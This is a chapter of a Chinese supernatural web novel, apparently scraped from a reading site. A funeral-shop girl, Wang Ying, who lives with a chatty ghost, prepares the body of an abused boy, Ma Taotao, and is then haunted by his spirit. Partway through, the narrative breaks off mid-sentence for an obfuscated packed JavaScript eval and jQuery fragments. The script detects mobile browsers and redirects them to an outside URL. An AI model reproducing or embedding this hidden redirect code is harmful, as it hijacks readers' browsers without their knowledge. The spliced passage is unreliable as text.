默认冷灰
24号文字
方正启体

18.小鬼

作者:Alp本书字数:K更新时间:
    一连养了一个月,卫泾的魂体总算色彩鲜艳了些,从往日蔫蔫的状态恢复的稍微生龙活虎些了。


    当然,话也更多了。


    “阿萤。”


    “别叫我阿萤。”


    “为什么?咱们现在这么亲密,我当然可以叫你阿萤。阿萤阿萤阿萤。”


    “闭嘴,什么亲密,这个词是这么用的吗?”


    “那是什么?亲近?意思差不多就好了,何必拘泥这些小节。”


    王萤懒得搭话,手下的算盘珠子打得哗哗作响。


    “阿萤,你五日没洗头发了吧?今天该洗了。”


    “阿萤,杨掌柜说这批香质量好得很,你给我点几根尝尝。”


    “阿萤,你昨日说带我去听说书,你什么时候就忙完了?”


    “阿萤。”


    “阿萤?”


    王萤一把将发簪取下,拉开抽屉甩了进去,转身往后院走。


    “阿萤阿萤,你去干什么?你怎么把我撂这儿了?我怕黑,这抽屉里黑洞洞的。”


    “茅房,怎么,你还要跟着吗?”


    “……那你快些回来。”顿了顿又说:“少饮些水吧。”


    后院的伙计正坐在棚下休息,见王萤来了顺手给她倒了碗茶,王萤捧着茶碗边喝边听他们闲唠,这一听,便听到了卫家。


    大东神神秘秘地说:“听说了吗?卫家抄没单子出来了。”


    有人问:“听说是陈鸾的小舅子亲自抄的?”


    点头。


    “这卫家,不就是当时陈鸾告发的吗?”


    “听说连卫家的下人都抓起来了,严刑拷打,死了不少人呢。”


    “这卫家倒了有三年了吧?抄了三年?那得抄出多少银子?”


    “这么大的官,想来也不少。”


    “光是朝廷的赏赐就不少了吧,更别提重大节日的赏赐,打了胜仗的赏赐了。


    “每次至少上千两银子总有吧。”


    “上千两每次啊。”


    众人讨论得热火朝天,大东却重重叹了口气。


    “旁的我记不清了,说钱共是三千八百二十二贯八百六十三文。”


    众人惊了,呆了,哑了,都不说话了。


    “这些,抄了三年?”


    “也是,卫老将军补贴军需不是一日两日了。”


    “那些赏赐想来都穿到了士兵身上,盛到了士兵碗里了吧。”


    王萤抿了口茶:“这么隐密的事情,是怎么传出来的?”


    大东放低了声音:“说是刑部守库的小吏轮值时撞见抄家草底清册,匆匆抄了几条,趁三更宵禁换岗空档,将这抄出来的东西在城里贴了好多处,第二日便被人瞧见了,人传人的,自是很快就传开了,说是东厂的去了那小吏住处,那人早一根绳子吊死了。”


    众人一阵唏嘘,王萤也在捧着茶碗愣神。


    然后她听到铺堂里传来干嚎声:“阿萤,阿萤,我快闷死了,你还没上完茅房吗?”


    “你是拉不下来吗?”


    王萤脸色沉得要滴出墨来,众人看王萤突然变了脸,却又不知道原因,悄默声的便散了。


    王萤伸手摸了摸腰间的刀,转身便朝卫泾走去。


    -----------------------------


    窗外星月高悬。


    迷迷糊糊间,王萤觉得有人在看她,她睡的不是很踏实,头顶处突然传来一声孩子的轻笑。


    那笑声尖尖细细,如若蚊蝇,若不是四下无声,她肯定不会听到。


    睁开眼,四下黑黢黢的,凑近脸的地方像有什么东西扫过,带起一阵细小的风流动,一荡,一荡,有节奏的晃动感。


    想动却发现自己动不了,真是活见鬼了,她想,她这种八字居然还可以被鬼压床。


    不知过了多久,月亮好像出来了,月光透过缝隙渗进来,黑暗中露出两只泛白的小脚,小小的脚丫子,白的泛青,十趾微张,在她脸前轻荡,再睁眼,眼前的小脚不见了,余光看下去,一个小男娃正趴在她的腿上,小小的脑袋靠在她的膝盖上,鼻尖上一颗小小的黑痣,正抬起头看她。


    “嘻嘻。”笑声像刚出生的雏鸟一样尖细。


    胳膊撑起身子,发出一阵咔嗒咔嗒的声音,身体隆起,像檐下结网的长腿蜘蛛,一步步往上爬。


    小脸慢慢的靠近。


    外面传来两慢一快的梆子声,隐隐听到更夫报:“平安无事。”


    打连槌,报平安,是三更天,鬼时到了。


    眼前的景象突然消失不见,王萤动了动胳膊,撑起身发了会儿呆,琢磨了一会儿,想不起来是谁家孩子,又睡了过去。


    迷糊间听到门被敲的震天响,刚睡着又被惊醒心情自然好不到哪去,门还在敲,她迷糊着去开门,打开是一头发花白的老翁,正抹着眼泪:“杨掌柜的在吗?”


    王萤摇头:“不在,同夫人回娘家探亲了。”


    “店里还有谁在?”


    王萤揉揉眼:“就我一个。”


    老翁犯愁了,正犹豫着,对面的人开口了。


    “家里有人走了?”


    “唔。”老头又抹泪,“是我家小少爷。”


    夜里的生意也是常有,王萤把门板放到一边,进了柜台往外拿着东西。


    “小少爷身量多大,我给取衣服。”


    老翁还在哭:“四尺许。”


    王萤抬头,这么小。


    老翁又补了一句:“都拿最好的。”


    取了东西,准备随老翁过去,老翁还在迟疑。


    “快走吧,迟了身体僵了,衣服便难穿了,前边带路。”


    老翁听了不敢再犹豫,镇上只有这一家寿器店,现在只能死马当活马医了。


    过了两条街便到了,是镇上乡绅马钱坤的宅邸。


    马钱坤为人敦厚,佃户遇灾荒会主动减租,逢年过节还会捐米捐钱,颇得民心。


    马钱坤膝下只有一子,他家小公子四岁便已开蒙,据说熟读经典,镇上要说谁家小孩最聪明,第一便是马钱坤的儿子,名字也喜庆,马陶陶。


    边想边跟着人往里走,刚拐过前院,便听到前方传来的撕心裂肺的哭喊声。


    老翁抹着泪:“是我家夫人,哭得晕过去几次了,醒了哭,哭晕了,醒了再哭。”


    卧房里挤满了人,众人皆垂泪不住,马钱坤见老翁身后只跟着一个年龄十七八岁的姑娘,面色一沉就要发作,老翁忙上前解释了原委,马员外才不情不愿的让下人引王萤进去。


    床上的马陶陶虽然已经八岁,但相较同龄人都瘦小些,小巧的五官,鼻尖上有一粒小小的黑痣,果然,是她刚刚半睡半醒间见过的那个小孩。


    王萤吩咐取一个铜盆,又往盆里倒了一整坛子酒,取了白麻布蘸着酒开始给小少爷擦洗身子。


    马夫人让人搀扶着靠了过来,王萤却抬手轻轻拦了一把。


    “夫人节哀,但请您小心,活人之泪是不能落在往生者身上的,否则他过奈何桥时,走的不安心,流连人世,不得入轮回。”


    马夫人吓得倒退三步,只敢痴痴的看着王萤那张面无表情的脸,眼神跟着她的动作在儿子身上徘徊。


    擦净了脸,又把头发解开,王萤的手很巧,绾几下便是一个利落的髻,拿手里的麻绳扎紧。


    有人趴上了她的背,轻飘飘的,冷的瘆人,下巴颏枕在了她的肩窝,细声细气:“为什么给本少爷用麻绳,我要那个白玉冠,雕二龙戏珠的那个。”


    王萤轻轻啧了一声,压低声音:“用那么值钱的,不怕别人把你挖出来?”


    耳边是男孩子不服气的轻哼声,王萤手下没停,解开里衣,目之所及,王萤胸口那股气好像被一把攥着。


    马陶陶身上布满了深浅不一、大小不一的伤痕。有新伤,有旧伤,有鞭痕,有棍印,甚至还有细香的烫痕,有的还是青紫,有的已经沉淀为暗红色,白麻布擦过胸前,横穿胸口有一条棍痕,往下胸骨处是软塌塌的一片。


    胸骨断裂……插入内脏致死,所以马陶陶……


    王萤抬头看向马夫人,马夫人只是攥着帕子捂着半张脸痛哭失声。


    马陶陶安静的坐在床的角落,正抱着膝盖看着王萤给自己擦身,双眼忽闪忽闪。


    有脚步声往这边来,这屏风后只有马夫人、王萤并伺候在侧的三个丫头,外间的人是不能进来的,果不其然,进来的是马钱坤。


    “小丫头。”他有一张慈祥可亲的脸,“杨五做这行多年了,一些规矩,他懂,但未必教你了。”


    杨五是孝善堂的杨掌柜。


    “不该说的不说,不该做的不做。”


    马夫人还在哭,王萤点了点头,手下接着为马小少爷擦洗着身子。


    “我的儿啊。”哭嚎声猝不及防的窜起,马钱坤哭得几乎站立不住,被下人扶了出去。


    马陶陶的身体还有些余温,小小的手,指尖上是常年执笔磨出得薄薄茧子,换好寿衣,带好棉帽,王萤在他左手中塞入了一锭纸糊的金元宝,右手塞入一个纸糊的银元宝,双手将马陶陶的手轻握成拳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415734|200382||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,将元宝握在他的手心里,不多会儿,人硬了……生气散尽,关节固定成型,元宝便掉不出来了。


    口中塞一枚铜钱,便算是成了。


    马家众人守在前厅,下人们听着王萤的指挥进进出出,王萤取了一个铜盆,将纸钱往里一撒,点燃的时候火苗窜了老高,又倒了三杯酒,那高窜的火苗泛出隐隐蓝光。


    透过火光,马陶陶的眼神变得愈加清亮。


    这不是好事,心智坚定的魂体,执念必深,执念愈深,久而久之,便易化作怨念。


    里间只剩下王萤,她叹了口气:“你一个小娃娃,哪来这么深的执念,就当做了一场梦,早日去投胎,不好吗?”


    王萤苦口婆心:“你当冤魂是那么好当的吗?”


    马陶陶撇撇嘴:“聒噪。”


    刚出院门,带她来的那位老翁跟了出来,远远的抛过来一个钱袋,王萤在手中颠颠,果然是大手笔,二人互相对望一眼,全部心下了然,眼神交流中便像是达成了共识。


    日出前,马小少爷便会被抬出去,到三明山找个山头埋了,同样被掩埋的,还有他身上那些外人从没看见过的东西。


    今晚月色如练,除却几点星子醒着,地上的人皆已入眠,路边偶有野猫出没,看到王萤便掉头四下逃窜而去。


    青石板上映出一个人的身影,瘦削的肩膀,两条腿倒是挺长,慢悠悠的走着,手中的钱袋子一抛一抛,再往上看,却是两个人,一前一后,小娘子在前,小书生在后,相行无言,默默埋头自顾自的走。


    一直走到孝善堂门口王萤才回过身,看向她身后的马陶陶。


    “你要跟我到什么时候。”


    小书生没答话。


    王萤叹口气,卸了门板,沉着脸到了柜台后,摸出一把散香,一根白烛,用黄纸点燃引了烛,又用烛火点了香,拿过一个香炉搁在桌上,冲马陶陶招了招手。


    “吃完便走吧。”


    马陶陶还没进来,卫泾不知道从哪个犄角旮旯里钻了出来,看到香火双目闪动,像山上饿了一冬天的狼。


    “你去哪了,不带着我!”


    “欸?这是给我的吗?”


    “好香!”


    见卫泾在屋里上蹿下跳,马陶陶只能在门口张望却不敢往这边过来。


    “卫泾,你是猪吗?一见到香烛就失了神智了?”


    “我是鬼,我有什么神智?”一个将反正不要脸了践行到底的鬼。


    见王萤伸手摸向腰间的杀猪刀,卫泾嗷了一声便不见了踪影。


    王萤将刀解下来在手中颠了颠,果然,还是这招好使,这刀可是她花高价买来的,祖传下来的杀猪刀,饮饱了血,威力不小。


    见那个疯鬼不在了,马陶陶这才敢进来,蹲在矮桌前静静的看着那烛火,许久,香燃尽了,又过了许久,蜡也熄了,室内只余下王萤深深浅浅的呼噜声。


    梦里,耳边是哗啦哗啦的流水声,睁开眼,大树参天,好像可以闻到树木的清香与泥土的厚实,周围一切那么熟悉。


    这是村外的那条小河!


    王萤知道是梦,但她却不由自主的站起来,向着那小河的方向而去。


    流水潺潺,清澈见底,王萤靠近了些,在水下的石头中飘出几丛水藻。


    越来越多的水藻从石缝中涌出,缓慢的,繁密的,越来越多。


    王萤伸手,那水藻细的像发丝。


    涌出的水藻顺着河水游动,一张脸自水下伸出来。


    泡的发白,肿胀的像要炸开。


    是小旭,脸浮出水面,看着她微笑。


    那是一种来自死人的笑,诡异莫名,透着淹死的人独有的神情。


    “姐姐。”


    小旭……王萤上前,朝着王旭伸出手,差一点就要碰到。


    王旭十指弯曲,骨节僵硬,颤颤巍巍的伸了过来。


    眼看着就要碰住,有人拉了她一把,一个趔趄她便醒了,睁眼,寿器店的烛火还未燃尽,马陶陶也不见了踪影,只有卫泾正一脸正经的看着她。


    “这个小孩好生可恶,你好心给她吃的,她却反过来想要你的命。”


    是梦。


    王萤挠挠头,从躺椅上起身,卫泾凑过头来,“你刚梦到什么了?定力不坚,差点着了道,果真是三脚猫的把式。”


    王萤没理他,起身收拾桌上的东西。


    天快亮了,街上传来一阵细碎的哭声,有人在哼唱,是引魂曲,边哼,边有一老者呼唤马陶陶的名字。


    “陶陶,跟着幡子走。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)